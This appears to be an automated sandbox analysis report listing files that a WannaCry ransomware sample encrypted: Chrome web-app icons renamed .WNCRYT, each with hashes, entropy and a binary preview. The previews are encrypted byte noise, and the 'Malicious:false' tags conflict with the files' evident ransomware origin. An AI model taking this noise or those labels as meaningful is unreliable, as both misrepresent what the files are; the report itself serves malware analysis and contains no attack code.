                                                                                                                                                                              MD5:E9B7A11FFA877F190D40F6709A6FE7F5
                                                                                                                                                                              SHA1:F60F347381FB81D75B65F8D8C5FC1F37DE0B92B8
                                                                                                                                                                              SHA-256:873A582B24C21699B21C958C606D35449602200011043C189360485EAD217CBD
                                                                                                                                                                              SHA-512:745D2F3FE3C9ABDA8E42C2B447C23D14CB881DB1318A8A8334CB40CCC77544B4D09B948F44E26E3D1C611F100D4F6156FD908DC3A765D0D1A64FEFD0B31ACF84
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....|.^....:...^d...........&!....d.....).....`81;!...{Pb...........!@w..(..;./.....!k2w.6.{4..9.....>.....<I..q..`u....:..+o...b%..V`..[.%..,..L.,G.`#^..m.!?...wDT <#... y...Dvbq..2..C#....u...........KT.'.......Vn....+.1.i4......k....[-.t...............go.kQ9.4.y........|.!...v....3rO.jm..i.U.r.n[^V[q[..........hW..d37F.`.T..qec.TT....N..>>...:D.../.....7@.Y.<......C..z.K`..cR..pD....lw._.../.`.....?.X.5..ZS..0...a.&u..L..:....M.[x._...-...>.,.....Bp......Ysvx.....;4.........H!Y/..d.b.s.......]....y.\)...P.I... I."..rv.4Z..`.....S. D.1.S..hh.]f.6.....#.|....X.h.....b..H.^.GvH..hC...*..?j.X`.4....C&....$.dV.c.rv..~.. `-xj...m...m].M.}....K.(1.U. ..LBq...g..w.5^..:..e......I...........Q......)."D......1w..a.....k..I..Z....b.4........PO.ths.S.xqf<....,&:.4E..:...].....I..aO...{..}.*P.O.*.BC....\.....<.'..}.&.!.....#)5.D..J....PM......9..>x.3-Us..<wS....3_k..>. .r0.5......-...@i_^6..../.&...a_......O...H....}+..D.8...x(..bo..g

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\48.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1656
                                                                                                                                                                              Entropy (8bit):7.886560373325398
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkXKw1ahYi7Rjc1WhfWkkrC2Ia1I3plJk/tRv4wSdcy3UZ3df4T3cktB8r1yRA++:bkawoY45b5kreZ3ItRcSyGR4T3cqu1Qw
                                                                                                                                                                              MD5:E5A078562352BB2682A62B3A423AACEA
                                                                                                                                                                              SHA1:893372E2BE828062A3C66B700F497C99E6A05451
                                                                                                                                                                              SHA-256:A25D550535008AD4541DCC2448904DA60B97460B60FC6251A7E8A3BBEFBD2873
                                                                                                                                                                              SHA-512:1F652E394A0DDDF78D0C47C8E4A0324672D32D20182C0A5E414E2DFB01BBFC51A329CD49998679F2F715A0FBB736DDF3EF1A0AACDCCAC451E5874A901B86C77E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....|.C..^.*w....c7.@Y.a..../iCA7"...j.8H..d......fu.H"...o...g.u...k{../6.w ... |H}....3.6.x...4C.....3.1>P..I.E.WTe.M.i1..b.#.....;..gS.....c.......B.C..wf."`v.0Q..p\O+.,..<.6.....f.........$.:...7...U....Hz...L.8.=.C.HX..<.X..1....fS."w.3...g..I_......Y....... .....a.>.....#.o.SQ....X"ktg..o..:.B.D._...m.y............(.O.?...K..sQ.[6.,..tp.f5...!..ej`WP..V.k..._-..2..}...c:. .Z.c..|.?E...X..W.....*..'tp..o..j.k.>..9q%4..W.y}..)i...+i....".iXu......A.X....6....H.C.G............Z..avX..<{.t.._q.R.W...S.D..9.}6.T.....)...~Tn.M7.#.W..&L.s...!....O.?...1!...?&)...~6bE.T..D...../..3.U..........4..ozJK$....L..W...W..$..X..UFj..G.Xm'.c.nB..1m..A.2oU:..}].....)Q.@.....5...Y.-."....o4C..Y.W!.B$U.3...n.P4..3......n....#.m..K'.B..w......4..._.H.2.).n..V...h6n.}.Hh..7..8.A.&.]C...Rx.a...'.......`+...T...G.7.k.X...... ).[-.U................~....Z>...2....L'|...&53e...T.n...P....,C......Z....@b..!^<#>#.EQ.?i.~.[df..fO..Ce...f,....##.|......R.q.6..4.

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\64.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1800
                                                                                                                                                                              Entropy (8bit):7.872596081268853
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkBu6xUmsDDEkAkfon2FYF6ohfiuqJEJ4IK7xjAn:oBAgwon2FYhquyEJ4DRAn
                                                                                                                                                                              MD5:753B86A0BFCA60AA7DD0439AE7F2B6C6
                                                                                                                                                                              SHA1:E450722743ACE32F1B66B70726C16E4942168BE1
                                                                                                                                                                              SHA-256:E45AAD59F8AA595F5D0C3F54A09513D27061B6A3BBBAEED93C7BDC1E7EE07A64
                                                                                                                                                                              SHA-512:EC29EEA33F569939341B1000BEB369D8EDF3DEEB318DBAD08048286E92D30667271590629AC7FCD190F0794B20E20A639EE0BBB5772A880831728E88B4C41F5D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....?.^.2L..r(w.....T..6....l..'Wbc.M.'. d..*..h....r.26.5h.C.e.,R.T...$....E.._?..g...%.^ ...W4....KpQd.x.Q'...v....8...._L3!..o../y.$g>...Km(.s.d.\]e.z.o@..A..U..t...%4#..}....KE....E..lh.:..f.....o6.@.......B2......).f.._.r.[....K[.!.s.V....................w.U.^"*.*Y.C......,..e..`..R..@.%)...&#..XK.....J7.'....1(....}7v...8K..y.3h..[f>.?.KF(..8.....kI.....)..r.Q_..d..\...Y.M3.~X..^.. ......C9.....D4a.g...)'..|b.W...=.a....t.b.......B..|NG..{.5...C>.....".M..[...).(..w. ......Q_?.P..s.._...S..3...Z....[.A#p...[.l....8(.8~.....p.bIom5D.....N..8..c....<.b2..l..U.2I.{.........D?.|.O2~..~"=!w!........]........W.....0..G..sqR.Wi.....''....G5....T4..U3..2.S.....ab\..x..&@b.V.s2a...#|__.h.r..is......NtD].>.LM..Jy.-~bb@.< .....'0..D.C.j....=q.19^H.*;...U...pv...z...d...O..\D..?.+.>.G..J/.93jchi-..4.G.D.O{.....p\L.:[............>....T....|3...RE.. Bw..:..._....N.C.WG.............>@h..,..=......O(..f.."~....}:..-8.v.h....h..9..Q........<..

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\96.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2136
                                                                                                                                                                              Entropy (8bit):7.90266028424732
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkIoV8kzekW7V8lNt96Uko1B/FWMl5bHkeU3kmBLmCCzbAGgsQ:ov8khW7V83t96Do1BYM/bHkeUUK4MsQ
                                                                                                                                                                              MD5:0D9B0D8B4A7588A0F5F82A70AFE8852C
                                                                                                                                                                              SHA1:229019651E207C762D866FD35B5605C7FF16707E
                                                                                                                                                                              SHA-256:21D4216850A721605E466EEF8517DB25690A79FB3CBA4EEAC3139828FF5CF67F
                                                                                                                                                                              SHA-512:865503C02CE0CE444083F04D6A25ECA272C35C38A22C170BB5EF4FBA63B42519FEAB5CE0533CC52AE2348FEFA7A64B8EBFCF9F1E3FA2E2D67B49B1D944AC3413
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....j....1.\.4R....b.;..L.L4.!..n.....w.*Q.."..)4fY..G.dF..k...P.0f.t.6.e..r$%rF.h....>B....m.0.5.,.....X.,.......6....19`.&...m..T.|jb!j.._.".T1!.x7.."HGU})...c.0..G..#...&7...tl...l./..H.aBIL..Q+.O"X.......-..r....}.G..4..iV..P..X.v&3Y<.J+...35...n.?.-....7.......-..]>.?...0.Mf.x.-^HC.....X..o.....J.......<e@....spC....\.z.I.3.Z............L..p.......\m4o^B0(....['.."...`.......;=.)....2...{7Zlda.<.s..{._... .|.....GV..X..........e.....g`..e&..n.:g...'...Cr...g.{x.\..\L.c.<>...x../.......Rq.w~...i..G..&E..qE.=......N.hnU./....#...(R....lk..&.....L.b}g....|.t.._l1Z..Y...0'*6cs....9.o.7....&..r..20m.G....".S...5....I..N.4.o~T.Oq..F[^kFc*.:.....X..."rm.V..j...?....j^.....%x"8_k.:.....E.\...dt.|....^...Av#.....e.....3.[...$Tp=.s9...-....a...-..^..#a....n.....`,B..4....o....P..fd.....j.^Zeml~....na.J..z...".P.."..im>Y...~.4P....f.-.L.}ZO-.a!.j...)p..P.eM.....H.#M..9..Q..rj........Ey........{|....H....;.1.@{........G).|K..P.M.+...

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\128.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):5656
                                                                                                                                                                              Entropy (8bit):7.967804912554596
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:os/wOr4sXeiVNN7apisgyiZ2zQQeUV73HvmNrgHRLHtsB4sNhItClOt3V:IVdiVNN74bC873HvErgxNsKIKtCY/
                                                                                                                                                                              MD5:337D2F9249A248F9EE879218A5E1AA52
                                                                                                                                                                              SHA1:9B57AB5A512A20478AD314E684620BF5C634799F
                                                                                                                                                                              SHA-256:605D1051168C98A1F401FE8A926AB97097AC4333443A3362DD4E0C99FDCF0FF8
                                                                                                                                                                              SHA-512:9E88FE38D7BF9F7EC5FA228EC9CA118FBE08B4150930663BB2CB7EE74D997F1B46152A01C9547470E4B0595C70014C02C05D6D536BCC75DBAF943481652E4A96
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....D......Z..1>d.......^.v..g.\}....h....+....&..=..e....LD..|.&..C..~...Rn#|.v>...}...$|.9..^./..$..z[.0&.M...@.K#.L....8..Eze....+.C..H....g...U...U.AfQ...K..^...gN..K1e<.D..._7....d...#.O.....<Z*..>.R.....:.&.m....uhB'PP.D...?.8_.....7.L..3..................u.py.......O.."..'.......)1.<.U.0c);.NP...=..'.wsw...d..r..K.n...]<..z......2.,S]+x...../6.[{...7......^.\q........}X..K.......N"y....u#P...K.J..X".Q.......7..96@......./.v.r. .A..6....kH...6..x....5.y{.v..G.;0..$x-..%+Tg.c...../B=......j9.....`6....aTAd............3..f...Y.&....A.1.D..Y.~.._..=qK....lr$.d....C......_...X.>....Z.......~....]ke}.._-..j?.9.......q..&\l...f?...V...`p.M....&V....$.R<2..8.n.-b..1...pm.-....f5.0d.__YP..$.g.n..._ ........\7L.....o.f,:?2}Y..wU......o.....7S.T).....j?=.....pA>..q.ot.y...O.2.P.9}......z..Z.Ur.......h...QZ.j{...4.....F$..i..E.*..(....Y~.2...s..B ..g'LKP.om..... .....v.L.$..{l.e....Vk.-..~.Y..sf............r....).y$.eOh.|y s..R.9kK.m

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\192.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):3208
                                                                                                                                                                              Entropy (8bit):7.939952155089945
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkoeQmBsb8KXApIsNw8GAV+5XKDeeqENcwbuufUzvxxMK88NpLHUuWVbMCpRD/z9:oo+2l6ebENcwblUL88bL01tF
                                                                                                                                                                              MD5:1F76FECB2933B5E9616AC245E2A439DD
                                                                                                                                                                              SHA1:4CC59862261FC16C31BA50E06D308AB390713352
                                                                                                                                                                              SHA-256:60FD998E7447741CE9E756A7D88C0DC54366DA67D1A84E8B574432AF63FB08E2
                                                                                                                                                                              SHA-512:34EC8738DDD1389CB5569060641A11599FEF5DFC4AF6953CBF3C61DFB91908BC5FB56576DE6A9F8778EC98811ED6A8FF67ECBDB143341E5FC22229B7666E1179
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......!C..~..O...}..%.?..D..w._0g!.....+b.....IBB._..y.A/nrL.h"[.2...xAL.>..H...kg. .l...;..7by..._...#...ywNf!i....i...`.q.$.Vav.x:7.8I......l{....].3=...X..:....cL....<.m3.t...X..s..(Vh.p.>..Vz...A....%.].E..../S...?nK.q.45i...0b.T....&!.o.SRPa.......g.......g.6a.mb.'(.m........I'H....$@%.=.U...F2..R3]...{*.......}:.C.}K. f....q..p.n....h.Y&.~Z.p.'.g..._...9ar..7<..*.}....-...(<N...A.l...8#m..q....9....].J]....<UW.......)G....b..<..<f|..qR...4`..u....s|.BgdNF?Un.....4X...?.].0i...a.5..g<...{. ...0.}.72_Y..j.u.;t.!....Lh....&@.A.....m.7mCW.y...c....;..{_..fu\..LR..AF.C.'.\...x#...&....|.v.`...~....j........$..1VM[.....Ef.CYF..o?.<....\.}.o.p.SO........X.2..u...SU=}..F.@.:....._......e..6f.]..e....E.$=.2...%..GC.v..V>e....b.u._..<V.Z-..<2.U.......h?...-h.nP...z$e....q.......z.s._^L...)....0..-.{ .._g.%..S.x..T....d.O..H.@.....ylD.....|..A.d..c.'>Od..hW[S.9...".\}.........i..v.q_}..8..@C...h...&[\j.-@.v...71...$.p...}..

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\256.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):12520
                                                                                                                                                                              Entropy (8bit):7.985006231076916
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:/a8MKk1vY0rW/4WR19QASqJ8id0V9zKE91xvKSGI:/a8MKk1Q0rYzR19lSqU9O6b
                                                                                                                                                                              MD5:F4A7915A781755E94ED70AAEF94714A5
                                                                                                                                                                              SHA1:3810FAE0D264D8D8E037EDD260E632A21C8F2F9D
                                                                                                                                                                              SHA-256:A621A3C87B84A9E8E711615FE90627DE71295ADC572B6A3D1FC91C0727B92FBA
                                                                                                                                                                              SHA-512:F9003FCA96E1A40F5315C8D3C0004763106DC522EE135D4E93B0B5A8A024EA6755F1F7C3934E95967AD6F264A73A374D4F76FD628E03056A2E57782C147CE7D0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....o~..J)....Z.Gnu.u..'.6.m..E..f.....-.yh..3.......#...Y.I..2..R.....(p..BT..Wl..{..........{3....q.=.N..\".C|.`}....Z{,..J...;....[...b......QI]...L.....t?>#a..f4..g.|.....J.ov..z...=V.<......}..V.9n....)....H.%RQ..s..vN.R.................c.S...../..........MQQ| .Q-7.(..g.Ms.I5....[A...l...+`#.VUU0..._..U..........Y...)Gn..3.S....7..o..{.F5.....,D..r0.l.;.......:.'....x.K7.....-i.|V.}}.FY....X.A......i....,.FO..99Y...K.e%...\)E...p.w....p..k..AGKj...^.....@.;H{..`....\....M.......IBP`Q.......H:...I..OV.f.....H.'......p..P...@.#.6..R..O\}.P.]D..x+.......7....E6..B...........l...@..0.!a.....Z#.R.L..JTiK.r.K;3.Cr..9'.F....e.M....W..y<.@..G.F..b.m.G6....6..G.."Z. D5.....!.d\.....\...CQz|..o_.x..B.fe..=......$.A........S..O....}.T.? X.3U.'<.C.O7..Vx.^.h`f...`....:..`..b&......=4.|Q.\.e95a...g.E..r.a..*)..\>M..Z!...../.-5...TZ.".*..A^U)o..M.6qc.........../.Q%...KU....n.\..H-.q6...h.P2..U.M. Fd.5.3...e..'...6!.C..C1Jz.JM._y.....k...

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\32.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1848
                                                                                                                                                                              Entropy (8bit):7.874134625085157
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkIqaF0gn1NiON6ou1tAehpjCBrJwdvFub1SNWiEhWhIg1OKfr:oql1rN3gFhRC4vlgURHr
                                                                                                                                                                              MD5:3C2EB5980898383AE691B6F08E10BF6B
                                                                                                                                                                              SHA1:B90A03BB01BA649C8A067FEA4A5455C4563B0A6B
                                                                                                                                                                              SHA-256:13DEC7A01D81DF379D4674F3F0E2AA27E1D8051C79805FE98C7454D1E3EB55C5
                                                                                                                                                                              SHA-512:81D3C393F9A9A11CAFC9AB14C3041C29C224954AE1C24E97F57644B1E94168D230BCC3F26ECD4E29C3EA0F8A0785316BB2662033B95D1A224D6D999F93F15400
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....,.@.......G....?...dGG..~.H....}~..&U...n.BbH\.9i.(...,.k....W}.3pr.q4t..)....A~..f4..M.R..Z.M.r.BC.X.o]n.B..O_.0..l4.n.....@.9.~e+..Z}..y...sBw.-*_'..0.M,..m......X...(S.....G..f%.IV&..IJ&F2.\D..L..D0.~?...A.I....*)lR.....$$.d.....f.GPd..............s.i.f.3...N.s.s.........]....r.a.T.~vH.x.{.X.j4...q...]x#.W...5.z..h...<c....6.1..u....3....^c...(..p.z....|k.?....#.o.Q'...PI.T.....U.].....0..(cL_!...`..]$..l []wm........yF..Z.....f.,.&z.^}.a.foh.....]z....Ky.......Y..]A.1.!...U..Oi"b.M.N.4].|w....<njQU[.-.$h..$.....;.Q....J..U$$#......<.#T1.o;.}..i.VC.1[S.......Zg.r..u.5D..]3.K..)W..t...[..g..H..*K?.m*.Ki........=ut..)....'kt..~H.%4.......<.SsX.w<...s.....-0...!.@..A~..&...}...]+.`.!.^..%.4.A...qX.C.s.#.......l<....x.8.)...j.0..w....C6...UY.A...x?^.*5...q.._.?...S.BUX...u..WpX.ER.5.&:Fh>..h\}...p57*.As.%....&J =.g..3..|....zI...DEC..F.I1...P....,...P...e....9m.)5.....~>t. ..{..0.....=.;...s[t..|...y....m_..?..cpST...B..V

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\48.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2664
                                                                                                                                                                              Entropy (8bit):7.927826575424158
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bktvW1mnLq7JiNijnI3CezLG1h6YKOysoPOSw8wrCiT3SDtU236:oRW1XJVjnIye21h6YKOyftIZjShbK
                                                                                                                                                                              MD5:9E40B95124802E846D22B699449BC636
                                                                                                                                                                              SHA1:EC5C1084CF59E9432C5BAECDFF66D18B3E437695
                                                                                                                                                                              SHA-256:0505B4E66B7CEDCBE85FD79DC735C37C22EE46A649DFAB80E3C4E5C5DC383756
                                                                                                                                                                              SHA-512:0A1BF0CD56BC5352334B3F6AE4DAD281F36732FE08EB47BE9174103F0C78CBEB0EA969B0E9E5E0B07F91B67E32E86777BD75CF2BE09EA8A78E88CDADAE1E30E1
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....;.....e.Xb......V......@-....]y.eHCL.....B.D+.......|.'b.\O.\..tR..R.R....i.ek.7...I.v[^V.?.K~.....'VL.f.......$.k..c....e.....v..'.pj...;B..../.0pn..._$,....F........ga..b.....$...z..!.9.Y.4.zR........),...-....\..~..L.....d.Z..pl..r...('.......M..........K+p..c..?..:aL..wp..4,..."..?...n.;#M4..?q8$..I..sWrp.F..NX%.).[:...c.%.q<.uL#G.:.$.g.y*....P..D..W.84..A.pN........N..q^./E..Q.r.`.......<.Br...>x...C.G/.Dz.s.ET......~..fu..>Y.W.......X3..5r'..........P.....9`...b.e....J.....T...z. ..A.. ..1aj.i}...."%...pv.&1y ...j.<M......$.+.<.7....1*'.TH..l....%F>Udr9VV9.C..6`...w.ik..8..a.+..p...+a%..kM.4.-.M'...5L..P.C..X...^.e(."..$a$...(..Y......RR...<.....b2...et.....}..`..9..pV4/.t.O.c)0...j.)!...:.x1#^R.f..s.@..)...$.5...|...f......E. ..i.a;...P..$.d...x{W.#1.u.].=8....U.r<H$.......W..&...,.7.....L....0..{...W..n.......|R..0..wB';.....{.j...w...I~.f..czi..V...+....".........=P&..LQ...{......o..}..+.....Uw..<&........X..Q...n.Ym.tN....=y.

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\64.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):3288
                                                                                                                                                                              Entropy (8bit):7.929516988243946
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oXlyHN3sVlaCYoh5UdOhLj72sai8YgKoH:bN3Sao/AOdSP9v
                                                                                                                                                                              MD5:563587DB77B10BC6626987A5B8513E92
                                                                                                                                                                              SHA1:6D68A8DEC12FFC4F085ADC12930C4ABB0DDE9448
                                                                                                                                                                              SHA-256:877A640F2C3720333424BB9A396CC39F0F2F5211FF77263B46EEE79112881CEE
                                                                                                                                                                              SHA-512:020D4AB437FEE046D03A400068CB3AE0B592F6818446B21D55FCACC2742553A8057789D9007DC1AB3CD09D4D6F6713EFCCF926890197E05369BE4EAACA46B0F8
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.........Cw.t...L.y..8]..R..P9...I..t..q..W.q.S6.B..Gs...]..h..^q|.......@..:.=..4.U.....f.....}~..".....Q...=...Og05c%.:L@...H.....[l.>f$.S.......Ejw..p..[.....B6D....TU.;..@.W...d.#.........I...$W].,dF;(.....:R.{w6.....m.m.........Ta..;o._.VV.d.W............h.?.......}..N.=i.Rx.........@.V.pM..(.JOwM.F......b=j1.y..w...`..&;d...{%.=....4.]f.X....XS.....y....*e...q..\..;...T.S..........5[vL7....T.J.#:....~.+<. q.=..!,...3.G+.lY..2U.s......C.h..-......4.Au..4....d.....#}}..D...Q..+m....m.........Y...V&c..o.@.^..T...f.kb.P*ui6...<t.o.%M..d.|Q2.MOG.Q.+..E5... t.R...]cX^[wt.....C..../.^l.x.y.J+.SF..A.o..D>.:.....y8&^.:/...\.-.Fa.'.ql....Q......G.0........{J..\8d....<.'.....F..B%..!l..W.R.....4.<.xG....pT....m.).....mM.MR[{wf.&......z....E...CId.r..a......L..)WO....8h....i..(...g......}....9.....|!.<.;J..1......F..%.../Y.........s.Z>...R...;.`..im..P.$.... z.w...?01.\.).3...~R.xZ:.p.+...b....S.C|.J.IZ....^.[%.......e...S.4f.....

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\96.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):4136
                                                                                                                                                                              Entropy (8bit):7.951184140016181
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oU284/SO1lMVolyp+L4zeVTP4Xnn45ea20Bzv+:lO1N/LDkX45eBD
                                                                                                                                                                              MD5:4CA376B8A9607115E00969314B5FA751
                                                                                                                                                                              SHA1:B79BBA221B7D5E8B10CC71F969C33402B5D6F713
                                                                                                                                                                              SHA-256:9A0ADEDEFCA2FC17D498F77F4C7AB8FBF7753EC5423C8BAF0D09FAAB0EA427E4
                                                                                                                                                                              SHA-512:5424C8AE8F105DB1A88BE602A87889D0BFFE7A418F3A5BB4E97FA109E2246183A639CAA34D512DD45C4797D13D17A26000B0C86414C3CA62A62B61A4FD0D7482
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....)L.~.<:...81..H9^%.1.v..M.. ..G.V@/+..<....$..:..R.......m...@....3@.u-..#.y..|..+.|B....i.....5..<f.y[KL...S.daR3..}.o.iB.[.z.%..@.%..g..)...f..+..>Hj....yU.Je.....X>......rn......'.ck......_.2....P.5t......_........%.-....f#.F[.W...5HY.M..0.G.o.1.................G1qZ@&..4n~..[..z5.)mK....... ...)....!y3.+..E..g.k..aXQ.*MV.4.C.g_.f..!g.<.Kt#......Z.ZKj......... !/.K.e..b+....3..8.~{:W..9..v..|.^.z..c@.,E...mr^i.l.+h..`...PY}..s"1. ..8.X&.,..\....NM.0.%...r..........7..\..'B...j..).q..SP..{`...a...BFX.,......m......B.xs_.z7.^.GFz1'....<Vd..2B..*.*.......q..h....."AB..........Q..=G..3:.}..#X.Q....k....TB].\.cN.|&........Hj...........H".9.......JU..$..aw"=Ms...B.YS.8.u!Qd.Vf.|..L.W..Y...q(b...jr&...rS.yr..k..J.1$n.5.#.B......'...y...gP]..h..}.Y.UX.%.f<.......Z..<P.O.q...M...^........J]....%..S.....>A.y......-.Q..&.8"b2.....H...gS@../....y0......(Bw....|.z~' n.....ST..A*@Dw...9.....|...WK.xb0'.6@..+...v".$.\..x.EK.d.[M.+5..98.&.-4p.......

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\128.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2216
                                                                                                                                                                              Entropy (8bit):7.921136146341706
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkAozSEkhXPMRnFOmWtRqIPlMJXmhZ9/Hn7Pe1RyOA4a0Vqe:oAJEkhURYNtRqI2Bmj9/Hn7Pe3yf0Vqe
                                                                                                                                                                              MD5:56AA2E849450FBFA2F31F5AA52620EE6
                                                                                                                                                                              SHA1:79EF4273EE376BB400E8B60CE4A82193A24EE2AF
                                                                                                                                                                              SHA-256:FB4DDB3F667C66F0EEA8AE689896A8B225658FF9A89E666F2CAD81F412D6487A
                                                                                                                                                                              SHA-512:C120982F24F0BDAEEAAF3585EF846B16A4EE24907B672D5B154AC54879C510E357FBBAA3AC6A5D9D262CB2090163CAB28639640FD66EFAF4996B6EE121C523BF
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....*oZ...z..6D.E...<'..q..}$t.$@6..r@.......(.9.......}u ...WM..j.D$O......J.W..4....T.y...q.......h..-=..^...TV8U.".CG...Q9<......}....m.A..D....K.........Iw.{e..H...-W.^.E.....Q.....\i...0.-..u.d4..D..n....5}.7pp..u....p4.^......IRW...)#.vk.Z.............{m...H<.+.=...F....o..OZb....z{...eR..d?...i...VP.....|......U.s.[./..........._.k..Lha...%........%.73..Ob...$H.'@..Cv....J..x.c8.f..^...n......z...D,.......nT..f...L......B.'i.KU.'w3W.....z.w2.#.P...4.....R)K.T.*......i.6.f....t.K...wS....Z.......kM...?./gKvK....3...99y..G.f.R?R.]..F.8;.0F2..`.9......NR8......<.}.....(......m.g...R]...H.:.......d.vE.n....9 ..]2%.....y....Q..V.F.?u.F..oW...I\g...[.&.N.tQ.....?_..\..BI.Z..:w.y6}..]js=w.....W.....F>8{r......a....)..MD<.. T...:../..+$..........9..a[xM.U.W...>...,(......d.p.V.......0<p.sc.6.t......s......c.qD X.16.K:U.k.]h...vW.2..L......N_.=.m....k...$...j[3.8.D5;...~&.....lQ.n.'...-.D).#.uV.....([.F.oJ...I...4....l.f...2

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\192.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
